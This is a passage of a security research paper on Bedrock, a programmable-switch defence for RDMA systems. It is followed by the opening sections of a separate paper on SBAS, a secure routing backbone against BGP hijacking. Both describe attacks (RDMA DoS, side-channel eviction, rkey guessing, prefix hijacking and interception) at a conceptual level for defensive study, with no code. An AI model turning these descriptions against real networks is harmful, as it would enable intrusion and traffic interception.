Bedrock exposes RDMA access control for programmabil-

ity. Datacenters regain the ability to customize or modify

ACL policies for CPU-bypassing traffic. Advanced, scenario-

specific ACL policies also become possible without having to

resort to software intervention. Section 3.3 presents several

policies that monitor RDMA traffic patterns and make ac-

cess control decisions based on these patterns—e.g., denying

access if signs of DoS attacks are detected. Here, we first

focus on developing RDMA ACL support in programmable

switches.

Figure 3(a) shows our design, which consists of an RDMA

external library on servers, a policy setup daemon in the

switch control plane, and a policy executor in programmable

data planes. The library offers an easy-to-use API for users to

specify ACL groups and add/remove QPNs to/from a particu-

lar group. The API is invoked in an application-independent

manner without RDMA application changes—i.e., the user

writes a configuration script without modifying her apps. If de-

sired, the RDMA apps can also call into this library for direct

integration. The ACL policies are sent to the switch daemon

by Bedrock, which configures them into the switch programs.

Memory ranges, queue pairs, and RDMA opcodes are all

part of the policy decisions. The policies are implemented in

programmable match/action table, where rule insertions and

deletions reflect ACL changes.

The policy executor is a P4 program that enforces access

control in the switch data plane. Its rules are populated by

the configuration scripts stated above. The executor checks

Start address range End address range

0000 FF00 0000∼00FF 00FF FFFF 0000 FF00 0000∼00FF 00FF FFFF

Table 1: An example memory range for ACL.

ID bit[47:32] bit[31:16] bit[15:0]

r1 0000∼0000 FF00∼FFFF 0000∼FFFF

r2 0001∼00FE 0000∼FFFF 0000∼FFFF

r3 00FF∼00FF 0000∼00FF 0000∼FFFF

Table 2: Each memory address requires three TCAM rules.

i) whether the memory range of an RDMA request is within

the memory boundary assigned to the client; and ii) whether

the requested operation is allowed using the match/action

tables. As shown in Figure 3(a), Bedrock instantiates an ACL

table with five keys: the start and end memory addresses, ACL

group, opcode, and priority. The memory addresses use range

matches in TCAM; other keys use exact matches in SRAM.

3.2.1 Compressing RDMA ACLs

The design of the data plane executor creates challenges due

to switch resource limitations. Whereas memory addresses

are 48-bit long (for 64-bit systems), TCAM range matches

have shorter lengths (20 bits in Intel/Barefoot Tofino [10]).

A simple solution is to segment a 48-bit memory address

into three 16-bit segments and designate a range match for

each of segment. The overall match result will depend on the

three individual matches. However, this will consume large

amounts of TCAM resources since the segments will contain

duplicate information. Consider a memory range 0000 FF00

0000∼00FF 00FF FFFF in Table 1. To check whether a re-

quest is contained by this, logically, we only need to check the

request’s start address against this range and then its end ad-

dress. However, each memory address (start/end) needs to be

split into three 16-bit rules (see Table 2) due to TCAM restric-

tions. Checking a request’s start and end addresses against

this memory range further requires six rules stemming from a

“cross product”. This creates high overhead, as switches only

have O(10Mb) TCAM. We address this using a combination

of three techniques.

#1: Adjustable ACL granularity. First, the above overhead

is only necessary if we require byte-level access control. If

coarser-grained ACLs are sufficient, Bedrock can ignore the

least significant bits. Bedrock makes the ACL granularity

adjustable—for instance, if 4kB page-level ACLs are suffi-

cient, Bedrock ignores the 12 LSBs and uses two segments to

represent a page address.

#2: Table decomposition. Second, we reduce the redun-

dancy of start/end address combinations by decomposing a

logical table to two different tables, one for the start address

and another for the end address. This deduplicates the logical

table by avoiding the “cross product” problem. Figure 3(b)

visualizes this idea, where the Y-axis indicates different ACL

permissions (e.g., RO vs. RW) and the X-axis indicates mem-

ory ranges. In this illustration, a memory object is represented

as a horizontal line that specifies a memory range at a priority
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Figure 3: The Bedrock access control overview and optimization techniques.

denoted by the Y-axis value. An RDMA request is repre-

sented with two vertical lines that represent the start and end

addresses as denoted by the X-axis values. The ACL decisions

are made by checking if a request’s vertical lines intersect

at the same memory object. If there are multiple intersected

objects, the one with the highest ACL permission is used. In

the example, obj2 will be selected for req1; but request req2

will be rejected, as the start and end addresses do not intersect

at the same objects.

#3: TCAM/SRAM tradeoff. Further, Bedrock groups rules

that share the same address prefix and use SRAM-based exact

matches on their common prefix. As SRAM is more abundant

than TCAM, this tradeoff enables Bedrock to support more

ACLs. Figure 3(c) shows how Bedrock organizes the policies

hierarchically based on the common prefix lengths, and re-

quests match against the three tables in parallel. Moreover,

Bedrock adjusts the prefix lengths and table sizes based on

the object size distributions, in order to maximize the use of

common prefixes for each scenario. Storage objects usually

follow zipfian distributions in terms of the size [16,20,27,66].

As a concrete example, say, if 70% objects are smaller than

1MB and 99% smaller than 4GB, and if page-level isolation is

the desired granularity, then Bedrock would create three tables.

The first table uses a 28-bit common prefix and 8-bit range

match, covering all memory objects under 1MB. The second

uses a 20-bit range match, covering all objects between 1MB

and 4GB. The tail distribution matches the third table with

range matches.

3.3 RDMA monitoring and logging

Bedrock enables RDMA systems to regain visibility by in-

network monitoring and logging.

3.3.1 Building blocks

Bedrock performs RDMA monitoring in the switch. Moni-

toring results are further used by ACL policies for advanced

access control. To maintain monitoring state across packets,

Bedrock borrows from work in approximate data structures—

such as count-min sketches (CMSes) [22] and bloom filters

(BFs) [18]—for space savings. We eschew the technical de-

tails of these data structures and refer interested readers to

existing work [18, 22]. At a high level, a count-min sketch

performs approximate counting, a bloom filter performs ap-

proximate membership checks, both with strong error bounds

guarantees. For monitoring, Bedrock also supports tumbling

windows, where one sketch or bloom filter records data for

the current window and another for the next. It rotates across

these entities for each time epoch.

Bedrock enables RDMA logging by tracking RDMA re-

quests and recording them at backend servers. It does not log

every single RDMA data packet, but only RDMA requests,

which already contain sufficient metadata (e.g., QPs, memory

addresses, opcodes) to build audit trails. By cherrypicking

these request packets from the rest, Bedrock enables NetFlow-

like logging and auditing on RDMA traffic. This is done

in a P4 program that extracts RDMA metadata for request

packets, and stores them in stateful registers as a temporary

buffer. It reads/writes one register per switch stage, but multi-

ple accesses are possible across several stages. Therefore, one

RDMA log entry is generated for a batch of requests, which

further correspond to a much larger number of data packets.

This reduces the bandwidth that is needed for auditing.

3.3.2 Regaining visibility

Using the auditing capability, Bedrock enables the detection

and mitigation of the following types of attacks.

DoS attacks. Bedrock is able to detect and block DoS at-

tacks, including S3, S4, S6, and S7. To detect S3, Bedrock

monitors the highest PSN of each remote QPN that has been

seen by the switch. Bedrock detects S4 by checking the con-

sistency between opcodes and MR privileges and between

payloads and DMA lengths. Inconsistency would transition
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queue pairs into an error state for denial of service. For S6 and

S7, Bedrock monitors the resource usage of each connection,

application, or IP address to make access control decisions

using the approximate data structures. Concretely, to detect

and mitigate S6, Bedrock checks the number of QPs created

by each client IP in a time window against a threshold. Upon

detection, Bedrock drops or rate-limits the requests. Bedrock

detects S7 by tracking the sizes of the requests sent to each

QPN in a time window.

Side channel attacks. Another application is to detect side

channel attacks [54] based on the fact that malicious traffic

has different memory access patterns from normal traffic [47].

Side channel attack S8 builds an eviction set by reading a set

of specific memory pages, which produces a distinct mem-

ory access pattern. Bedrock logs memory read requests to

a backend server from the switch. The server further uses

software-based algorithms (e.g., SCADET [47]) to perform

memory pattern analysis to detect S8.

Exfiltration attacks. Armed with in-network logging,

RDMA reads and writes become auditable—operators can

scrutinize the log to find unexpected requests. To enable foren-

sic investigation of data exfiltration attacks (S9), all read-

s/writes are logged to the backend server, and the log entries

are processed in software to identify data exfiltration.

Further customization. The monitoring and logging ca-

pability in Bedrock serves as a building block for scenario-

specific security applications. As a concrete example, con-

sider reconnaissance attacks, which are a necessary step for

the adversary to guess rkeys. In this reconnaissance phase, the

attacker enumerates the rkey space and tests whether a partic-

ular rkey is valid, e.g., by trying many different rkeys until

success and reconnecting if a guess fails [46]. Bedrock tracks

the number of distinct rkeys that a machine (as identified by

its IP address) has attempted to a remote memory region. First,

it uses a combination of the source IP and the rkey as the key

to a bloom filter to check whether this probe has been seen

before. If not, it increments the count-min sketch counters

using the source IP as the key to track the number of probes.

Further probes are blocked by the Bedrock ACL if the sketch

counters exceed a threshold.

4 Evaluation

In this section, we describe our prototype implementation,

experimental setup, and present a comprehensive set of ex-

periments to evaluate Bedrock. Our evaluation focuses on

several dimensions: a) the effectiveness of Bedrock against

RDMA attacks; b) the overhead of Bedrock; c) workload-

based evaluations; and d) comparison with a programmable

NIC deployment.

4.1 Prototype and setup

Prototype. We have implemented a Bedrock prototype us-

ing approximately 6700 lines of code, including the various

defense primitives, eBPF functions, switch control plane func-
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Figure 4: Bedrock enables source authentication. With

Bedrock, S2-S3 attacks are blocked at the switch (right Y-

axis); S1 impersonation uses its own QP and is dropped by

the RNIC (left Y-axis).

tions, and backend server logging module.

Experimental setup. For our main experiments, we have de-

ployed Bedrock to a Wedge 100BF-32X Tofino switch, which

has 32×100Gbps ports and is programmed in P4. The switch

is furnished with an eight-core Intel CPU at 1.60GHz for the

control plane, which runs a Debian 8.9 Linux distribution

as the operating system. It is configured as a Top-of-Rack

switch in our cluster, which is connected to a RDMA client

node, a RDMA server node, and a backend logging node. Our

cluster also contains several other machines, from which we

launch RDMA attacks based on the methodology in ReD-

MArk (S1-S7, S9) [46] and Pythia (S8) [54]. All machines

have a six-core Intel Xeon E5-2643 CPU, 128 GB RAM,

1 TB hard disk, all running an Ubuntu 18.04 OS. They are

also equipped with Mellanox ConnectX-4 MT27710 25Gbps

RNICs that are configured to use RoCEv2.

Methodology. We validate the ability of Bedrock defenses to

detect and mitigate attacks S1-S9. In addition, we measure the

overhead of Bedrock (e.g., control and data plane overheads,

switch resource utilization). Our workload-based evaluation

generates realistic workloads following the metholodogy of

existing projects, and measures the impacts of Bedrock on

request completion times (RCTs) and throughputs. Last but

not least, we deploy Bedrock to a P4-programmable NIC,

Netronome Agilio CX, to understand its performance charac-

teristics as compared to switch-based deployments.

4.2 RDMA source authentication

Figure 4 shows the effectiveness of Bedrock against imperson-

ation attacks via authentication. We test each attack with and

without Bedrock enabled to evaluate the difference. Attack

S1 launches impersonation attacks using its own QP, and the

figure plots the attacker’s request rates. Attacks S2 and S3

work in different ways, but the defense effects are similar;

we group them in the same curve that shows the number of

packets that are successfully injected to existing QPs. As we

can see, without Bedrock, the attack traffic reaches the servers
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Figure 5: Bedrock outperforms the baseline by its ACL compression techniques. We further measure Bedrock under different

skewness of memory region sizes, read/write rule ratios, and use realistic workloads based on Twitter, Idiada, and Arctur traces.

and successfully masquerades as the client, resulting in mali-

cious memory modification. Under Bedrock, all attacks are

detected and blocked. We then launch attack S4, which at-

tempts to inject 1000 packets with inconsistent payloads and

DMA lengths. Bedrock has detected and dropped all packets

(not shown in figure).

4.3 RDMA access control

Next, we evaluate the effectiveness of Bedrock ACLs by

launching attack S5 that violates access control policies.

Specifically, we create attacks that attempt to a) access mem-

ory addresses beyond the granted ranges or b) to access valid

memory addresses using ungranted permissions, e.g., writing

to an object when read-only privilege is granted. All such

attacks are recognized by Bedrock and blocked at the switch.

We then evaluate the effectiveness of Bedrock in compress-

ing RDMA ACLs, against the baseline solution without com-

pression. The key metric is the number of ACL rules sup-

ported in the Tofino switch. We vary the skewness of zip-

fian workloads [16, 20, 27, 66], and also measure Bedrock

using realistic workloads based on Twitter, Idiada, and Arctur

traces [27, 66], for a comprehensive evaluation. Since the P4

compiler statically rejects a program if the ACLs consume

more memory than switch resources, our methodology is to

gradually increase the number of ACLs until the P4 compiler

rejects the program due to resource limitations.

Figure 5a shows the results for different skewness, with

a fixed read rule ratio of 0.5. We can see that both Bedrock

and the baseline can support more ACLs at higher skewness

with many small MRs, because smaller ranges can be encoded

in fewer ACL rules. Bedrock outperforms the baseline as it

leverages cheaper SRAM matches to reduce TCAM usage:

the smaller ranges are supported using exact matches in more

abundant SRAM. Figure 5b further indicates that the num-

ber of rules supported by Bedrock is robust to different read

rule ratios. Figures 5c evaluates Bedrock with three realistic

workloads. Bedrock outperforms the baseline consistently,

supporting 26%, 6.95×, and 2.98× more ACLs on Twitter,

Idiana, and Arctur traces, respectively.

The latest Tofino hardware contains more resources than
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Figure 6: Bedrock detects and mitigates attacks S6 and S7.

our switch, so we extrapolate based on the specifications of

Intel/Barefoot Tofino2 [9]. We estimate that the number of

ACLs that Bedrock can support using Tofino2 is up to 2.98×

more than that in our current switch.

4.4 RDMA monitoring and logging

Next, we evaluate Bedrock with attacks S6-S9, which require

monitoring and logging capabilities as well as ACL decisions

based on runtime traffic patterns.

Figure 6a shows the S6 attack, which consumes a large

quantity of QPs to deny the service to other users. Without

Bedrock, the attack has exhausted 20k+ queue pairs within

80 seconds. Bedrock monitors and enforces an upperbound

limit of 1k QPs per user, successfully detecting the DoS attack

and preventing it from exhausting available QPs. Excessive

requests are denied in the network.

Figure 6b evaluates attack S7, where the attacker uses mul-

tiple machines to launch a performance degradation DoS

attack. At time t=1.7s, the normal client sends traffic within

the enforced bandwidth limit. At time t=2.7s, the malicious

client starts: it uses normal rates at first but one second later

it boosts its traffic rate to launch the attack. As we can see,

this significantly degrades the performance of the normal

client. At time t=5.4s, we enable Bedrock, which enforces a

rate limit per user. It detects and blocks the malicious client

immediately, and the normal client’s performance goes back

to normal.
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attack S8 effectively.

Defense SRAM TCAM Hash bits Meter ALU

Auth. 4.17 % 2.08 % 2.48 % 0 %

ACL 10.52 % 68.75 % 27.78 % 0 %

Mon. 26.56 % 7.64 % 16.39 % 27.08 %

Log. 12.29 % 11.46 % 12.22 % 68.75 %

Table 3: The Tofino switch resource usage of each defense.

Next, we evaluate the ability of Bedrock to log and analyze

side channel attacks (S8) using the Pythia setup [54]. The nor-

mal client and the attacker are both connected to the RDMA

server, and the attacker infers the client’s memory access pat-

terns in the following way. It evicts a target victim address’s

cache line from the RNIC by generating many different page

accesses, and then measures the access latency to the target

memory address to determine whether the client has triggered

RNIC caching. This attack is launched continuously to differ-

ent memory addresses, and we show the accuracy of the attack

over time in Figure 7. Close to Pythia’s results, the inference

accuracy is around 97%. At time t=22s, we enable Bedrock

to detect this attack. The Bedrock switch collects memory

access addresses for all QPs, and logs these entries to the

backend server. The server implements the SCADET [47]

side channel detection algorithm in software to detect attacks.

After detection, Bedrock blocks the attacker’s probes and its

traffic rate drops to zero.

Bedrock enables audit trails for S9, the data exfiltration

attack, using its logging capability. Figure 8 measures the

logging rates and the CPU utilization of the backend server,

using workloads generated from an RDMA benchmark tool,

perftest [8]. We also show the results for different request

sizes. Larger requests produce more data packets, so the log-

ging rate is lower—this is because Bedrock only logs request

metadata, not the data packets. Since each log packet contains

8 entries, the logging rate is in proportion to the request rate

by a factor of 8. Moreover, the server uses one single CPU

core to receive the logging data, and as the figure shows, the

utilization is under 90% of one core.
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Figure 8: The traffic logging rates and logging server CPU

usage of different request sizes.

4.5 Defense overhead

Control operation overhead. Since Bedrock uses eBPF in

the authentication defenses, this incurs extra latency when a

queue pair is initialized. To evaluate this overhead, we use a

microbenchmark to measure the time needed for the RDMA

library to accept new connections. With 7.04 ms as the native

performance for setting up queue pairs, Bedrock increases the

latency to 7.11 ms, which represents 1% additional overhead.

Since this overhead is only incurred for control operations

when setting up a queue pair, it preserves the goal of achieving

native RDMA datapath performance.

Resource overhead: Table 3 shows the resource usage of

Tofino switch for each of our defenses. Overall, Bedrock

has reasonable resource utilization across different metrics.

SRAM and TCAM are used for match/action table entries.

Hash bits are used for header transformation. Meter ALUs

are used to access stateful registers for monitoring as well as

logging. The ACL component is evaluated with the maximum

number of rules that the switch can support.

4.6 Workload-based evaluation

Next, we perform workload-based evaluation of Bedrock us-

ing YCSB benchmarks [21], which are widely used in recent

RDMA projects [54, 59, 61]. We first use YCSB workloads at

different read/write ratios, using request sizes ranging from

16 bytes to 4096 bytes. Following the HERD [31] method-

ology, we generate YCSB workloads and replay them to the

RDMA system. We also adopt object size distributions from

realistic traces based on Twitter [66], Idiada [27], and Arc-

tur [27] workloads. Our main evaluation metrics are a) request

completion times (RCTs), which measure the time it takes for

an RDMA request to finish; and b) throughput, as measured

by the number of RDMA requests per second. Each metric is

measured with and without Bedrock.

YCSB. We evaluate read-most (95% reads), write-most (95%

writes), and balanced (50% reads and 50% writes) YCSB

traces. As we can see, Bedrock incurs low overhead. The

RCTs of different workloads increase by 3.2% on average;

and the throughputs decrease by 1.0% on average. The differ-

ent defense components in Bedrock also have similar perfor-
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Figure 9: Bedrock incurs minimal overheads with different read/write ratios. (a)-(c): request completion times (RCTs). (d)-(e):

throughputs as measured by the number of request operations per second.
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Figure 10: The request completion time and throughput under realistic workloads.

mance, which is expected as switching ASICs are designed

to achieve near-constant performance. Larger requests lead to

higher RCTs. The throughput (as measured by Mops/s) also

decreases with larger requests. These trends hold for both the

baseline and Bedrock.

Twitter, Idiada, and Arctur. Next, we use object and re-

quest size distributions from real-world traces: Twitter [66],

Idiada [27], and Arctur [27], with the same set of read/write

ratios as before. We again measure the RCTs and throughputs

with and without Bedrock. Figure 10 shows the results, with

similar takeaways: Bedrock adds an average latency overhead

of 2.94% and a throughput overhead of 0.09%. Workloads

enjoy minimum performance interference. Different defense

components in Bedrock have on-par performance.
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(c) Netronome throughput
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Figure 11: The request completion time (RCT) and throughput of Bedrock deployed in the Netronome NIC and Tofino switch.

The number has been normalized to their baselines respectively.
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Figure 12: Microbenchmarks: The Netronome NIC exhibits

variable latency across packets.

4.7 Programmable switches vs. NICs

Earlier, we have already discussed the differences between

programmable switches and NICs in terms of their cost-to-

performance ratios and deployment scenarios. Further, we

have conducted a set of experiments to understand their per-

formance characteristics. We have deployed Bedrock to a

P4-programmable NIC (Netronome Agilio CX) and retested

all the attacks. Our high-level findings are a) Bedrock works

effectively on both platforms; and b) programmable NICs

experience more notable performance variability depending

on the program logic. We use the NIC as a forwarding device

to connect four RNIC-based servers for benchmarking.

Figure 11 shows the performance variability of the pro-

grammable NIC across defenses, using the switching ASIC

performance as a comparison point. In a programmable

switch, the latency variance of Bedrock is under 0.5µs con-

sistently across defenses, but in the programmable NIC, the

variance can be up to 12µs. Moreover, switching ASICs also

have more stable throughputs across defenses, with at most

3.2% degradation as compared to the baseline. This is because

switching ASICs are designed for near-constant performance

under worst-case assumptions. The Netronome NIC, on the

other hand, has variable performance (up to 53% degradation

across defenses) compared to baseline.

As a further microbenchmark, we have used a stress-test

trace on the ACL defense in the programmable NIC, and

plotted the latency CDF in Figure 12. We find that the latency

of each packet depends on the program paths it takes, as well

as whether the packet happens to hit the flow cache on the

programmable NIC. This performance variability is consistent

with existing studies of programmable NIC performance [45].

In summary, programmable switches and NICs have dis-

tinct cost-to-performance ratios, deployment scenarios, and

performance characteristics. In Bedrock, we have targeted

switches as our primary scenario. However, we believe that

both programmable switches and NICs are important plat-

forms for security applications, and the specific choice would

depend on the deployment requirements.

5 Related Work

RDMA security. RDMA systems have gained popularity

in cloud datacenters [24, 60, 61], and their security implica-

tions have been recently studied in a series of work [46, 49,

52, 54, 56]. ReDMArk [46], in particular, has described a

comprehensive range of RDMA vulnerabilities under varied

attack models. Many of the problems we address are from this

project. sRDMA [52] has developed cryptographic authenti-

cation and encryption of RDMA packets on programmable

NICs, whereas Bedrock considers a complementary set of

defenses. Bedrock’s main target is programmable switches,

but as P4 is a target-independent language, it can be deployed

to programmable NICs as well. Bedrock inherits the perfor-

mance characteristics of the underlying platforms.

Programmable switches. Programmable switches have

found applications in many cloud applications [35, 50, 67],

and more recently in TCP/IP security [23, 34, 41, 58, 63, 65].

Bedrock is inspired by such work, but it develops security

support for RDMA systems. As these systems offload their

datapath operations to hardware, the design decision of us-

ing programmable network support respects the performance

goals of RDMA while providing stronger security.

6 Conclusion

We have presented Bedrock, a defense system that provides

a secure foundation for RDMA systems. RDMA systems

bypass server CPUs, achieving high performance; but at the

same time, security problems are much harder to mitigate

as software defenses cannot be easily added in the datapath.
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Bedrock leverages programmable data planes in modern net-

work devices to build CPU-bypassing defense primitives for

authentication, access control, and monitoring and logging.

Using a set of comprehensive experiments, we have shown

that Bedrock can effectively mitigate many attacks, and that it

incurs low overheads with realistic workloads.
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Abstract
Adversaries can exploit inter-domain routing vulnerabilities
to intercept communication and compromise the security of
critical Internet applications. Meanwhile the deployment of
secure routing solutions such as Border Gateway Protocol
Security (BGPsec) and Scalability, Control and Isolation On
Next-generation networks (SCION) are still limited. How can
we leverage emerging secure routing backbones and extend
their security properties to the broader Internet?

We design and deploy an architecture to bootstrap secure
routing. Our key insight is to abstract the secure routing back-
bone as a virtual Autonomous System (AS), called Secure
Backbone AS (SBAS). While SBAS appears as one AS to the
Internet, it is a federated network where routes are exchanged
between participants using a secure backbone. SBAS makes
BGP announcements for its customers’ IP prefixes at multiple
locations (referred to as Points of Presence or PoPs) allowing
traffic from non-participating hosts to be routed to a nearby
SBAS PoP (where it is then routed over the secure backbone
to the true prefix owner). In this manner, we are the first to
integrate a federated secure non-BGP routing backbone with
the BGP-speaking Internet.

We present a real-world deployment of our architecture
that uses SCIONLab to emulate the secure backbone and the
PEERING framework to make BGP announcements to the In-
ternet. A combination of real-world attacks and Internet-scale
simulations shows that SBAS substantially reduces the threat
of routing attacks. Finally, we survey network operators to
better understand optimal governance and incentive models.

1 Introduction

The de facto inter-domain routing protocol, the Border
Gateway Protocol (BGP), is infamously insecure. Adver-
saries can exploit vulnerabilities in BGP to advertise bogus
routes and hijack or intercept communications towards a vic-
tim [20, 34, 36, 37, 58]. The initial secure routing efforts have
focused on achieving origin validation, i.e., validating the

owner—the origin Autonomous Systems (AS)—of an IP pre-
fix, in order to prevent prefix hijacking attacks. A standardized
mechanism is the Resource Public Key Infrastructure (RPKI),
which generates records that bind an IP prefix to the origin
AS [24]. However, origin validation is insufficient for prevent-
ing more sophisticated interception attacks that manipulate
routing paths [52]. Recent works demonstrate the severity of
interception attacks, including surveillance and compromising
critical internet applications [14, 18, 54, 73]. Other proposals
achieve path security in the routing backbone by authenticat-
ing the entire path information. Border Gateway Protocol Se-
curity (BGPsec) augments BGP by cryptographically signing
and validating BGP paths [15]. However, BGPSec requires
significant changes to the existing routing infrastructure and
has yet to see production deployment. Private backbones and
clean-slate Internet architectures such as Scalability, Control
and Isolation On Next-generation networks (SCION) [62]
have also been proposed. While they are deployed in produc-
tion networks, they cannot yet be used pervasively.

In this context, can we design a system usable in today’s In-
ternet for improving routing security by leveraging an emerg-
ing secure routing backbone, such as SCION? Toward this
goal, we propose the Secure Backbone AS (SBAS), a novel
federated backbone infrastructure. SBAS abstracts away the
secure backbone as a virtual AS that interacts with tradi-
tional ASes through conventional BGP. Within SBAS, the
secure backbone allows for routing between participating cus-
tomers and is immune to BGP attacks. SBAS ensures that
announcements received from participating customers are in-
deed authorized using existing techniques such as RPKI, and
SBAS customers will prioritize routes received from SBAS.
Although the customers’ connection to SBAS may cross a
short tunnel, we demonstrate that even in this scenario SBAS
offers significant security benefits.

More specifically, a participating customer (which can be
either an AS or a single end host) connects to SBAS via a se-
cure tunnel—a Virtual Private Network (VPN)—if it is not a
direct neighbor. Participating customers can connect to SBAS
via one or multiple distributed Points of Presence (PoPs). A
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customer can bring its own prefix to announce through SBAS
(e.g., an AS with its own address space), or use IP prefixes
assigned by SBAS (e.g., individual clients and servers with-
out control over their address space). Within SBAS, customer
address space is distributed via an SBAS-internal iBGP mesh
between the PoPs allowing PoPs to announce customer pre-
fixes to traditional BGP neighbors (providing connectivity
and improved security for non-participating hosts). We em-
phasize that SBAS is compatible with conventional BGP. This
enables SBAS to route traffic between SBAS customers and
non-participating ASes,providing security benefits even when
one communication endpoint does not participate in SBAS.

We have implemented and deployed SBAS on real net-
works using SCIONLab [47] to emulate a secure SCION
backbone, the PEERING framework [69] to send/receive BGP
announcements from non-participating ASes, and the Wire-
Guard VPN to establish secure tunnels with SBAS customers.
Our implementation minimizes the need for new software
and composes existing networking components to implement
SBAS routing. Our key evaluation results are as follows:

• In our proof-of-concept deployment using SCIONLab and
PEERING, we perform BGP attacks on IP prefixes of
SBAS customers and of the VPN endpoints (in an ethi-
cal manner). SBAS successfully protects all customer-to-
customer communication from our attacks and significantly
improves the resilience of communication between SBAS
customers and non-participating hosts.

• Our Internet topology simulations further confirm that
SBAS improves resilience to routing attacks on commu-
nication with non-participating Internet hosts. Using a
SBAS deployment with just six PoPs improves resilience by
61.8%. Furthermore, SBAS integrates well with the exist-
ing effort on Route Origin Validation (ROV): if the broader
Internet enforces ROV, 98.5% of adversaries are topologi-
cally incapable of hijacking SBAS-announced routes.

• Our proof-of-concept deployment only incurs an 11% la-
tency overhead on average (compared to the Internet),
which decreases as more SBAS PoPs are deployed (as
participants are closer to their nearest PoP).

An important benefit of the SBAS architecture is its com-
patibility with diverse secure (possibly non-BGP) backbone
approaches [15, 62]. Moreover, given its strong security ben-
efits with only a small latency overhead, SBAS represents a
promising new abstraction for securing inter-domain routing
that can provide much needed momentum and accelerate real-
world adoption of secure backbones. To better understand the
path towards a production deployment of SBAS, we surveyed
network operators on appropriate incentives and governance
structures, and found a potential community of early adopters
as well as viable governance models. Given the promising
experimental and simulation results of our proof-of-concept
SBAS implementation, we dare the community of network
operators to realize SBAS in a production environment.

2 Overview of Interdomain Routing Security

BGP and BGP attacks. BGP is the inter-domain routing pro-
tocol today. However, BGP lacks authentication of routing
information, which allows for BGP attacks where an adver-
sary maliciously sends BGP updates to hijack or intercept
traffic to a victim AS [72]. Research shows that BGP attacks
can have devastating consequences on critical Internet ap-
plications, including those that use cryptographic security
mechanisms [18,54,73]. Also, BGP attacks are routinely seen
in the wild, impacting availability of Internet services and
generating millions in revenue for miscreants [23, 37, 75].

In equally-specific BGP attacks, the adversary makes a
malicious BGP announcement for a victim’s prefix that has
the same prefix length as the victim’s prefix. Consequently,
traffic may reach either the adversary or the victim depending
on the routing polices. In more-specific BGP attacks, the
adversary announces a longer prefix than the victim’s prefix.
Because forwarding is based on longest prefix match, traffic
destined for the more specific prefix will be routed to the
adversary. This enables an adversary from almost any location
in the Internet to attract a significant amount of network traffic
destined to the victim. While more-specific BGP attacks are
highly effective, they are not always viable given that most
routers filter BGP announcements for prefixes longer than
/24 [5, 40] (thus protecting /24 prefixes from more-specific
attacks), and RPKI can also be used to filter malicious more-
specific prefix announcements [24].

The adversary may drop/respond to the traffic (hijack at-
tack) or forward the traffic back to the victim (interception
attack) via tunneling or existing BGP paths by deliberately
shaping the malicious BGP announcements [20,64]. Intercep-
tion attacks are more sophisticated but also stealthier because
the victim may see little to no difference (other than poten-
tially increased latency) in its data plane traffic.

Current Secure Routing: RPKI and route filtering.
RPKI mitigates BGP attacks by providing a cryptographi-
cally secure database of IP address ownership that can be
used to filter out bogus announcements [49]. In RPKI, each
AS has a public–private key pair that is used to sign IP Route
Origin Authorizations (ROAs) that associate IP prefixes with
the ASes of their authorized origin ASes. The ASes compile
the databases into a set of route filters which block announce-
ments that do not contain a valid 〈IP address, origin〉 pair.
However, RPKI is vulnerable to forged origin attacks. In this
type of attack, the adversary claims a non-existent link to the
victim in a malicious BGP update. Since RPKI only validates
the origin of the IP prefix in a BGP update, the malicious
update will propagate even in the presence of ROV.

An AS can implement route filters on neighbors’ BGP
announcements to allow announcements only from approved
IP prefixes or AS paths [53, 71]. However, strict prefix-based
route filtering is difficult to scale to peer-to-peer links and
larger networks with a substantial number of IP prefixes; AS-
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path filtering cannot prevent an adversary from announcing a
malicious prefix with a legitimate-looking AS path.

Secure Internet backbone candidates. A wide variety of
secure Internet routing technologies can be used as a secure
backbone, ranging from BGP extensions to entirely new In-
ternet architectures [26,42,43,46,50,56,57,62,77,78,80,81].
Due to space limitations, only a few approaches are discussed
below, but a more comprehensive overview of secure routing
architectures is also available [25, 55, 66].

Federated backbones. BGPsec offers the properties re-
quired for a secure backbone by augmenting BGP to provide
cryptographic verification of routes in the control plane [15].
BGPsec requires each AS to sign outbound BGP announce-
ments, thus allowing ASes along the path to verify the au-
thenticity of the announcement. BGPsec not only prevents
ASes from falsely originating prefixes that were not allocated
to them, but also prevents ASes from claiming fake adjacen-
cies. Several shortcomings hampered wide-spread BGPsec
deployment so far, e.g., scalability issues, slow convergence,
high overhead for update verification, and vulnerabilities that
remain unaddressed.

New Internet architectures can also be used for constructing
a federated backbone, such as NEBULA [8], NIRA [82], and
SCION [62, 84]. Specifically, SCION has been suggested
as a clean-slate Internet architecture to provide secure inter-
domain routing. SCION provides strong security properties:
in-network per-packet source authentication, sovereignty and
transparency for trust roots, and attack resilience for inter-
domain routing. Of these architectures, SCION is available
today as a production network from several ISPs.

Private backbones. Several corporations have developed
proprietary private backbones that allow for secure data de-
livery, e.g., AWS and Cloudflare Argo [17, 27]. While not
federated, some of these backbones allow for participants to
connect via VPN tunnels and even announce their own ad-
dress space. While these commercial offerings are promising,
they are challenging to scale as the competing providers do
not seem to move towards a federated offering.

3 Design Principles

3.1 Goals and Challenges

We seek to design a secure routing architecture that provides
to the Internet high resilience against BGP hijacking at-
tacks. However, our intention is not to introduce another
secure routing protocol. Although secure routing protocols
provide clear advantages over the currently used BGP, they
have so far only achieved partial adoption. The main obstacle
to large-scale adoption is that a participating entity requires a
sizable financial investment while gaining limited benefits at
the early stage of deployment. To overcome this, the architec-
ture has to be: (1) readily deployable without modifications
to existing Internet infrastructure and protocols, (2) readily

available for customers who want to use the system, requiring
minimum changes in setup, and more importantly, (3) readily
beneficial to the customer even with a partial deployment of
the architecture. Considering incremental deployability, we
aim to leverage an already-deployed secure routing infras-
tructure (as a secure backbone) to mediate communication
between traditional IP endpoints. This extends the benefits of
the secure backbone to the broader Internet, and kick-starts
routing security for Internet communication. We call this sys-
tem SBAS, the Secure Backbone AS. It is important to note
that SBAS does not compete with any other secure routing
methods; SBAS can benefit from them since it is a comple-
mentary system, improving security in a synergistic manner.
From this approach, the following research challenges arise:

Architectural continuity. Coupling of a secure routing in-
frastructure and the rest of the Internet requires architectural
continuity. That is, the secure backbone understands BGP’s
control plane and seamlessly bridges remote BGP peers while
leaving the leveraged secure routing infrastructure and its
security guarantees intact. To this end, the secure backbone
must achieve an architectural abstraction of the underlying in-
frastructure and provide a transparent interface to customers.

End-to-end security. In the context of mediating cus-
tomer’s IP endpoints via a secure backbone, the end-to-end
communication path can be segmented into: an external (in-
secure) segment, which is comprised of the Internet links be-
tween an IP endpoint and the SBAS ingress/egress point, and
an internal segment between an arbitrary ingress and egress
pair of the secure routing infrastructure. To ensure end-to-end
secure routing, (1) a customer must be able to select trusted
